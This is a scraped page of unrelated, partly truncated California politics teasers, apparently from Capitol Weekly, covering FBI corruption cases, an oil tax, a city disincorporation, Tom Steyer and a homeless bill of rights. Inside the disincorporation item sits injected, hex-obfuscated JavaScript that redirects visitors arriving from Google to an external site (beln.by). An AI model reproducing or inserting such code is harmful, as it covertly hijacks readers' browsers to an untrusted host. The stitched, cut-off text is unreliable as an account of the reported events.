The attitudes of voters. Illustration by Niroworld, via Shutterstock.Friday night, my wife Jodi got home after a long week. Trying to decide what we should do, she flipped through some channels, looking at the networks, a couple sports channels, a few news channels, HBO and Showtime, and then finally announced “I don’t think there’s anything good on TV, let’s go see a movie.”
An attempt by journalists to force the disclosure of appointment records, calendars, schedules and related material of two former lawmakers facing corruption charges in an FBI undercover probe was put on hold Friday. Superior Court Judge Michael Kenny heard oral arguments and is expected to make a final ruling within 90 days. The day before, Kenny issued a tentative ruling that favored the reporters in a lawsuit against the Legislature seeking access to the records.
Federal prosecutors asked a judge to allow three FBI undercover agents to testify in disguise with the public excluded in the upcoming corruption trial of former Sen. Ronald Calderon, who is accused of taking more than $80,000 in bribes. The U.S. Attorney’s office in Los Angeles said the three agents – who were at the heart of an investigation that spanned several years – would be placed at risk if they were forced to testify in public.
Gov. Brown summarily rejected the notion of a per-barrel tax on California oil as it comes from the ground, a move that sharply limits the political options of the tax’s backers who hoped to get a bill through the Legislature to raise perhaps $2 billion annually.
(Ed’s Note: This story originally appeared in California City News, a content partner of Capitol Weekly.)
It’s been 40 years since this last happened — the disincorporation of a city in California var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. But this time the circumstances are unique.
“We’ve done everything we possibly could, including lobbying at the state Legislature and
So what’s Tom Steyer up to? Earlier, he reportedly was going to run for governor or U.S. Senate and he’s been taking lead roles on environmental protection issues. Steyer, who was just named to Politico’s list of the top 50 people to watch, has bankrolled two successful good-government campaigns and fought the Koch Brothers. So
It began as a seemingly benign attempt to protect California’s daily homeless population of 160,000 but it has turned into a significant political dispute, with local governments across the state saying the plan would hamstring their authority and make a bad situation far worse.
At issue is a difficult balancing act between empathy for
When Assemblymember Tom Ammiano proposed a Bill of Rights for the homeless, the response was swift – and sharply divided.
Many observers called it extreme, one newspaper described it as “an embarrassment,” while others defended it vigorously, lauding it as a move long overdue. Among other things, the bill would protect homeless people from